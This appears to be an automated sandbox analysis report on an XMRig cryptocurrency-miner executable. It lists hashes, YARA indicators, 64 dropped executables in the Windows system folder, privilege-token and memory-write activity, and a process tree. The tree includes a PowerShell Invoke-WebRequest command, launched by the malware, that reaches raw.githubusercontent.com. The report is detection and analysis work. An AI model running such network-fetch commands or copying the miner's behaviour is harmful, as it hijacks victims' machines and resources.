xmrig | 52d327361516de408b4e718f310cdf4c17d630ecdcc8e0a36c8c9e95225d5b97

Analysis

max time kernel
150s
max time network
142s
platform
windows7_x64
resource
win7-20240611-en
resource tags

arch:x64arch:x86image:win7-20240611-enlocale:en-usos:windows7-x64system
submitted
14-06-2024 10:16

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe
Size

3.1MB
MD5

b7540063d8263886b283dc5074d48280
SHA1

a7df70ecb99d4c098263e22be52e7d6f41afa647
SHA256

52d327361516de408b4e718f310cdf4c17d630ecdcc8e0a36c8c9e95225d5b97
SHA512

c3e93009d07bdfd1f95e348997abd66fdb51ba9c2647be8167ddb9738c05ed5d2d6b35d65ec0b124280a9ff50d9c536140bf9451a3d43ad97124c2e62a43c288
SSDEEP

98304:71ONtyBeSFkXV1etEKLlWUTOfeiRA2R76zHrWU:7bBeSFkA

Score

10^/10

xmrig execution miner upx

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 54 IoCs

miner

resource	yara_rule
behavioral1/memory/2364-1-0x000000013FD30000-0x0000000140126000-memory.dmp	xmrig
behavioral1/files/0x000500000000b309-6.dat	xmrig
behavioral1/files/0x0063000000014162-12.dat	xmrig
behavioral1/files/0x0007000000014f57-38.dat	xmrig
behavioral1/files/0x00070000000142f9-19.dat	xmrig
behavioral1/memory/2764-46-0x000000013F1B0000-0x000000013F5A6000-memory.dmp	xmrig
behavioral1/memory/2760-47-0x000000013F490000-0x000000013F886000-memory.dmp	xmrig
behavioral1/files/0x000d0000000054aa-60.dat	xmrig
behavioral1/files/0x0006000000016c2d-68.dat	xmrig
behavioral1/memory/1496-70-0x000000013FF70000-0x0000000140366000-memory.dmp	xmrig
behavioral1/memory/872-72-0x000000013F400000-0x000000013F7F6000-memory.dmp	xmrig
behavioral1/files/0x00070000000165f9-53.dat	xmrig
behavioral1/files/0x0006000000016c46-86.dat	xmrig
behavioral1/memory/1904-92-0x000000013F760000-0x000000013FB56000-memory.dmp	xmrig
behavioral1/files/0x0006000000016cf0-106.dat	xmrig
behavioral1/files/0x0006000000016d2a-132.dat	xmrig
behavioral1/files/0x00630000000141ec-134.dat	xmrig
behavioral1/memory/2364-945-0x000000013FD30000-0x0000000140126000-memory.dmp	xmrig
behavioral1/files/0x0006000000017038-186.dat	xmrig
behavioral1/files/0x0006000000016da2-176.dat	xmrig
behavioral1/files/0x0006000000016d8e-166.dat	xmrig
behavioral1/files/0x0006000000016da9-181.dat	xmrig
behavioral1/files/0x0006000000016d97-171.dat	xmrig
behavioral1/files/0x0006000000016d7f-161.dat	xmrig
behavioral1/files/0x0006000000016d65-156.dat	xmrig
behavioral1/files/0x0006000000016d51-151.dat	xmrig
behavioral1/files/0x0006000000016d35-146.dat	xmrig
behavioral1/files/0x0006000000016d2e-140.dat	xmrig
behavioral1/files/0x0006000000016d25-126.dat	xmrig
behavioral1/files/0x0006000000016d09-116.dat	xmrig
behavioral1/files/0x0006000000016d11-121.dat	xmrig
behavioral1/files/0x0006000000016d01-111.dat	xmrig
behavioral1/files/0x0006000000016cc7-101.dat	xmrig
behavioral1/files/0x0006000000016c9c-96.dat	xmrig
behavioral1/files/0x0006000000016c4f-90.dat	xmrig
behavioral1/memory/2868-84-0x000000013F9D0000-0x000000013FDC6000-memory.dmp	xmrig
behavioral1/memory/2604-82-0x000000013F360000-0x000000013F756000-memory.dmp	xmrig
behavioral1/files/0x0007000000016a74-81.dat	xmrig
behavioral1/memory/2716-63-0x000000013FD20000-0x0000000140116000-memory.dmp	xmrig
behavioral1/memory/2684-33-0x000000013F890000-0x000000013FC86000-memory.dmp	xmrig
behavioral1/files/0x000700000001430e-29.dat	xmrig
behavioral1/files/0x0009000000014e32-27.dat	xmrig
behavioral1/files/0x000c000000014230-22.dat	xmrig
behavioral1/memory/2988-51-0x000000013FBE0000-0x000000013FFD6000-memory.dmp	xmrig
behavioral1/memory/2580-48-0x000000013FDA0000-0x0000000140196000-memory.dmp	xmrig
behavioral1/memory/2908-13-0x000000013FD70000-0x0000000140166000-memory.dmp	xmrig
behavioral1/memory/2716-2764-0x000000013FD20000-0x0000000140116000-memory.dmp	xmrig
behavioral1/memory/1496-3523-0x000000013FF70000-0x0000000140366000-memory.dmp	xmrig
behavioral1/memory/872-3529-0x000000013F400000-0x000000013F7F6000-memory.dmp	xmrig
behavioral1/memory/2868-3931-0x000000013F9D0000-0x000000013FDC6000-memory.dmp	xmrig
behavioral1/memory/2764-6322-0x000000013F1B0000-0x000000013F5A6000-memory.dmp	xmrig
behavioral1/memory/2760-6331-0x000000013F490000-0x000000013F886000-memory.dmp	xmrig
behavioral1/memory/2604-6381-0x000000013F360000-0x000000013F756000-memory.dmp	xmrig
behavioral1/memory/2716-6392-0x000000013FD20000-0x0000000140116000-memory.dmp	xmrig

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
2044	powershell.exe

Executes dropped EXE 64 IoCs

pid	Process
2908	gECNijE.exe
2684	ZCzsRUj.exe
2988	hCIfYvE.exe
2764	unDlEoM.exe
2760	mziVSkh.exe
2580	tpBQhaU.exe
2716	sNdcWvO.exe
1496	WynHEgE.exe
872	vkmqWGI.exe
2604	dyUcRTN.exe
2868	VnKZQHY.exe
1904	uWQPMKI.exe
2840	uTVmqSd.exe
2848	uUubYMn.exe
2780	psqsFhC.exe
2940	QxYWmdi.exe
1304	XnclxDt.exe
3036	WBDJRlL.exe
2508	CtRIQRK.exe
2016	TcHQKbZ.exe
2484	vhawDom.exe
2996	SZThRaF.exe
2292	jzpOMAS.exe
2332	DGApYQH.exe
2416	UdGSOXC.exe
712	SIbmZVo.exe
1028	izUWPNw.exe
1108	eDHhqQA.exe
2456	nKHnUEq.exe
1864	tigSCbb.exe
1044	CmIcuaQ.exe
2328	TtFFnrI.exe
1404	MEpmdgI.exe
880	xddGgLL.exe
1548	wQEOlvd.exe
1768	BiDqalj.exe
1640	HqPsZYY.exe
820	gCpBmRb.exe
1064	RgHuzwb.exe
2380	fUmouwg.exe
912	FSjSEXL.exe
2192	CLSSPak.exe
1068	VjVQhtl.exe
3032	GdceRAY.exe
2224	blNyvHg.exe
1020	LqWVSCu.exe
2408	kCpcXYx.exe
2168	VcSGSqh.exe
2212	NTPVJxM.exe
2196	MRDtfHG.exe
3040	IKJKdZp.exe
2264	ytIZsev.exe
1696	GpGDojT.exe
2916	DJgSFwi.exe
2712	jBHqehe.exe
2592	apKyBAl.exe
2572	iAqOXlR.exe
2124	wcbfbKn.exe
2588	pyScSGF.exe
2240	apEyOZU.exe
1320	oVZBZpZ.exe
1228	cwMikVO.exe
2256	yBgUoss.exe
2952	nUkKnXc.exe

Loads dropped DLL 64 IoCs

pid	Process
2364	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe
2364	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe
2364	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe
2364	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe
2364	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe
2364	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe
2364	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe
2364	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe
2364	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe
2364	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe
2364	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe
2364	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe
2364	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe
2364	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe
2364	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe
2364	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe
2364	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe
2364	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe
2364	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe
2364	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe
2364	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe
2364	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe
2364	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe
2364	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe
2364	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe
2364	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe
2364	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe
2364	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe
2364	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe
2364	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe
2364	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe
2364	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe
2364	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe
2364	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe
2364	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe
2364	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe
2364	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe
2364	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe
2364	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe
2364	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe
2364	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe
2364	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe
2364	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe
2364	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe
2364	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe
2364	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe
2364	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe
2364	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe
2364	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe
2364	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe
2364	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe
2364	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe
2364	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe
2364	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe
2364	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe
2364	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe
2364	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe
2364	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe
2364	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe
2364	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe
2364	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe
2364	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe
2364	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe
2364	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe

UPX packed file 54 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/2364-1-0x000000013FD30000-0x0000000140126000-memory.dmp	upx
behavioral1/files/0x000500000000b309-6.dat	upx
behavioral1/files/0x0063000000014162-12.dat	upx
behavioral1/files/0x0007000000014f57-38.dat	upx
behavioral1/files/0x00070000000142f9-19.dat	upx
behavioral1/memory/2764-46-0x000000013F1B0000-0x000000013F5A6000-memory.dmp	upx
behavioral1/memory/2760-47-0x000000013F490000-0x000000013F886000-memory.dmp	upx
behavioral1/files/0x000d0000000054aa-60.dat	upx
behavioral1/files/0x0006000000016c2d-68.dat	upx
behavioral1/memory/1496-70-0x000000013FF70000-0x0000000140366000-memory.dmp	upx
behavioral1/memory/872-72-0x000000013F400000-0x000000013F7F6000-memory.dmp	upx
behavioral1/files/0x00070000000165f9-53.dat	upx
behavioral1/files/0x0006000000016c46-86.dat	upx
behavioral1/memory/1904-92-0x000000013F760000-0x000000013FB56000-memory.dmp	upx
behavioral1/files/0x0006000000016cf0-106.dat	upx
behavioral1/files/0x0006000000016d2a-132.dat	upx
behavioral1/files/0x00630000000141ec-134.dat	upx
behavioral1/memory/2364-945-0x000000013FD30000-0x0000000140126000-memory.dmp	upx
behavioral1/files/0x0006000000017038-186.dat	upx
behavioral1/files/0x0006000000016da2-176.dat	upx
behavioral1/files/0x0006000000016d8e-166.dat	upx
behavioral1/files/0x0006000000016da9-181.dat	upx
behavioral1/files/0x0006000000016d97-171.dat	upx
behavioral1/files/0x0006000000016d7f-161.dat	upx
behavioral1/files/0x0006000000016d65-156.dat	upx
behavioral1/files/0x0006000000016d51-151.dat	upx
behavioral1/files/0x0006000000016d35-146.dat	upx
behavioral1/files/0x0006000000016d2e-140.dat	upx
behavioral1/files/0x0006000000016d25-126.dat	upx
behavioral1/files/0x0006000000016d09-116.dat	upx
behavioral1/files/0x0006000000016d11-121.dat	upx
behavioral1/files/0x0006000000016d01-111.dat	upx
behavioral1/files/0x0006000000016cc7-101.dat	upx
behavioral1/files/0x0006000000016c9c-96.dat	upx
behavioral1/files/0x0006000000016c4f-90.dat	upx
behavioral1/memory/2868-84-0x000000013F9D0000-0x000000013FDC6000-memory.dmp	upx
behavioral1/memory/2604-82-0x000000013F360000-0x000000013F756000-memory.dmp	upx
behavioral1/files/0x0007000000016a74-81.dat	upx
behavioral1/memory/2716-63-0x000000013FD20000-0x0000000140116000-memory.dmp	upx
behavioral1/memory/2684-33-0x000000013F890000-0x000000013FC86000-memory.dmp	upx
behavioral1/files/0x000700000001430e-29.dat	upx
behavioral1/files/0x0009000000014e32-27.dat	upx
behavioral1/files/0x000c000000014230-22.dat	upx
behavioral1/memory/2988-51-0x000000013FBE0000-0x000000013FFD6000-memory.dmp	upx
behavioral1/memory/2580-48-0x000000013FDA0000-0x0000000140196000-memory.dmp	upx
behavioral1/memory/2908-13-0x000000013FD70000-0x0000000140166000-memory.dmp	upx
behavioral1/memory/2716-2764-0x000000013FD20000-0x0000000140116000-memory.dmp	upx
behavioral1/memory/1496-3523-0x000000013FF70000-0x0000000140366000-memory.dmp	upx
behavioral1/memory/872-3529-0x000000013F400000-0x000000013F7F6000-memory.dmp	upx
behavioral1/memory/2868-3931-0x000000013F9D0000-0x000000013FDC6000-memory.dmp	upx
behavioral1/memory/2764-6322-0x000000013F1B0000-0x000000013F5A6000-memory.dmp	upx
behavioral1/memory/2760-6331-0x000000013F490000-0x000000013F886000-memory.dmp	upx
behavioral1/memory/2604-6381-0x000000013F360000-0x000000013F756000-memory.dmp	upx
behavioral1/memory/2716-6392-0x000000013FD20000-0x0000000140116000-memory.dmp	upx

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\System\ElQgeqh.exe	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe
File created	C:\Windows\System\olDMIVU.exe	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe
File created	C:\Windows\System\exewulo.exe	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe
File created	C:\Windows\System\WGJXiRY.exe	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe
File created	C:\Windows\System\dlhrxxP.exe	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe
File created	C:\Windows\System\MnpNfNq.exe	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe
File created	C:\Windows\System\oOWbkLT.exe	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe
File created	C:\Windows\System\FfgwXCS.exe	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe
File created	C:\Windows\System\AYaFWIl.exe	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe
File created	C:\Windows\System\amFuwQg.exe	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe
File created	C:\Windows\System\LoIvogb.exe	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe
File created	C:\Windows\System\aypggjK.exe	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe
File created	C:\Windows\System\CfYjxgt.exe	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe
File created	C:\Windows\System\KLsEKdd.exe	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe
File created	C:\Windows\System\bIpLDEG.exe	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe
File created	C:\Windows\System\HlLBCll.exe	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe
File created	C:\Windows\System\cqRTGyh.exe	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe
File created	C:\Windows\System\puRdlEg.exe	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe
File created	C:\Windows\System\NlNzKNH.exe	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe
File created	C:\Windows\System\YINtFZd.exe	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe
File created	C:\Windows\System\UHvNfEC.exe	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe
File created	C:\Windows\System\zAYjKHr.exe	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe
File created	C:\Windows\System\DMUZOcI.exe	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe
File created	C:\Windows\System\UhHueYB.exe	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe
File created	C:\Windows\System\lFBACqs.exe	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe
File created	C:\Windows\System\BmTGWUa.exe	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe
File created	C:\Windows\System\IbGGRVz.exe	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe
File created	C:\Windows\System\AdykwrM.exe	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe
File created	C:\Windows\System\QcVkMji.exe	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe
File created	C:\Windows\System\EFOAstM.exe	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe
File created	C:\Windows\System\nfVIRcf.exe	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe
File created	C:\Windows\System\CPJHJQt.exe	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe
File created	C:\Windows\System\xaNTDhX.exe	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe
File created	C:\Windows\System\pRNGoPT.exe	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe
File created	C:\Windows\System\iJhjbEr.exe	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe
File created	C:\Windows\System\xxAoXcq.exe	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe
File created	C:\Windows\System\XLPOxHC.exe	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe
File created	C:\Windows\System\CGExdmf.exe	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe
File created	C:\Windows\System\hmxHjsz.exe	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe
File created	C:\Windows\System\NLBJdSU.exe	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe
File created	C:\Windows\System\EeyJFVd.exe	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe
File created	C:\Windows\System\SEvbHFb.exe	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe
File created	C:\Windows\System\EkFnGai.exe	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe
File created	C:\Windows\System\QViBjqU.exe	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe
File created	C:\Windows\System\ZcVLaPs.exe	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe
File created	C:\Windows\System\MPxJTkj.exe	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe
File created	C:\Windows\System\lqJXsEj.exe	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe
File created	C:\Windows\System\IgleAFn.exe	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe
File created	C:\Windows\System\KfeFxLs.exe	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe
File created	C:\Windows\System\aJbjyDl.exe	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe
File created	C:\Windows\System\YCkBSBO.exe	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe
File created	C:\Windows\System\epEWDeu.exe	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe
File created	C:\Windows\System\PdmDWDk.exe	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe
File created	C:\Windows\System\HZKndbK.exe	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe
File created	C:\Windows\System\DevoDYU.exe	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe
File created	C:\Windows\System\vuFGiWT.exe	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe
File created	C:\Windows\System\GfBykpm.exe	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe
File created	C:\Windows\System\bmFZOGJ.exe	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe
File created	C:\Windows\System\SuGQJWu.exe	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe
File created	C:\Windows\System\zTNlyBM.exe	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe
File created	C:\Windows\System\yJyQqxB.exe	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe
File created	C:\Windows\System\OKSMJcY.exe	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe
File created	C:\Windows\System\tSQgryG.exe	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe
File created	C:\Windows\System\LUcWKRq.exe	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2044	powershell.exe
2044	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeLockMemoryPrivilege	2364	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe
Token: SeLockMemoryPrivilege	2364	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe
Token: SeDebugPrivilege	2044	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2364 wrote to memory of 2044	2364	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe	29
PID 2364 wrote to memory of 2044	2364	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe	29
PID 2364 wrote to memory of 2044	2364	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe	29
PID 2364 wrote to memory of 2908	2364	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe	30
PID 2364 wrote to memory of 2908	2364	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe	30
PID 2364 wrote to memory of 2908	2364	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe	30
PID 2364 wrote to memory of 2684	2364	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe	31
PID 2364 wrote to memory of 2684	2364	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe	31
PID 2364 wrote to memory of 2684	2364	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe	31
PID 2364 wrote to memory of 2988	2364	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe	32
PID 2364 wrote to memory of 2988	2364	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe	32
PID 2364 wrote to memory of 2988	2364	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe	32
PID 2364 wrote to memory of 2760	2364	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe	33
PID 2364 wrote to memory of 2760	2364	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe	33
PID 2364 wrote to memory of 2760	2364	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe	33
PID 2364 wrote to memory of 2764	2364	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe	34
PID 2364 wrote to memory of 2764	2364	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe	34
PID 2364 wrote to memory of 2764	2364	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe	34
PID 2364 wrote to memory of 2716	2364	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe	35
PID 2364 wrote to memory of 2716	2364	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe	35
PID 2364 wrote to memory of 2716	2364	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe	35
PID 2364 wrote to memory of 2580	2364	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe	36
PID 2364 wrote to memory of 2580	2364	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe	36
PID 2364 wrote to memory of 2580	2364	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe	36
PID 2364 wrote to memory of 2604	2364	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe	37
PID 2364 wrote to memory of 2604	2364	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe	37
PID 2364 wrote to memory of 2604	2364	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe	37
PID 2364 wrote to memory of 1496	2364	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe	38
PID 2364 wrote to memory of 1496	2364	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe	38
PID 2364 wrote to memory of 1496	2364	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe	38
PID 2364 wrote to memory of 2868	2364	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe	39
PID 2364 wrote to memory of 2868	2364	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe	39
PID 2364 wrote to memory of 2868	2364	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe	39
PID 2364 wrote to memory of 872	2364	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe	40
PID 2364 wrote to memory of 872	2364	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe	40
PID 2364 wrote to memory of 872	2364	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe	40
PID 2364 wrote to memory of 1904	2364	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe	41
PID 2364 wrote to memory of 1904	2364	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe	41
PID 2364 wrote to memory of 1904	2364	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe	41
PID 2364 wrote to memory of 2840	2364	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe	42
PID 2364 wrote to memory of 2840	2364	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe	42
PID 2364 wrote to memory of 2840	2364	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe	42
PID 2364 wrote to memory of 2848	2364	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe	43
PID 2364 wrote to memory of 2848	2364	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe	43
PID 2364 wrote to memory of 2848	2364	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe	43
PID 2364 wrote to memory of 2780	2364	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe	44
PID 2364 wrote to memory of 2780	2364	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe	44
PID 2364 wrote to memory of 2780	2364	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe	44
PID 2364 wrote to memory of 2940	2364	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe	45
PID 2364 wrote to memory of 2940	2364	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe	45
PID 2364 wrote to memory of 2940	2364	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe	45
PID 2364 wrote to memory of 1304	2364	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe	46
PID 2364 wrote to memory of 1304	2364	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe	46
PID 2364 wrote to memory of 1304	2364	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe	46
PID 2364 wrote to memory of 3036	2364	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe	47
PID 2364 wrote to memory of 3036	2364	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe	47
PID 2364 wrote to memory of 3036	2364	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe	47
PID 2364 wrote to memory of 2508	2364	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe	48
PID 2364 wrote to memory of 2508	2364	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe	48
PID 2364 wrote to memory of 2508	2364	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe	48
PID 2364 wrote to memory of 2016	2364	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe	49
PID 2364 wrote to memory of 2016	2364	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe	49
PID 2364 wrote to memory of 2016	2364	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe	49
PID 2364 wrote to memory of 2484	2364	b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe	50

C:\Users\Admin\AppData\Local\Temp\b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe
"C:\Users\Admin\AppData\Local\Temp\b7540063d8263886b283dc5074d48280_NeikiAnalytics.exe"
1⤵
- Loads dropped DLL
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2364
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2044
- C:\Windows\System\gECNijE.exe
  C:\Windows\System\gECNijE.exe
  2⤵
  - Executes dropped EXE
  PID:2908
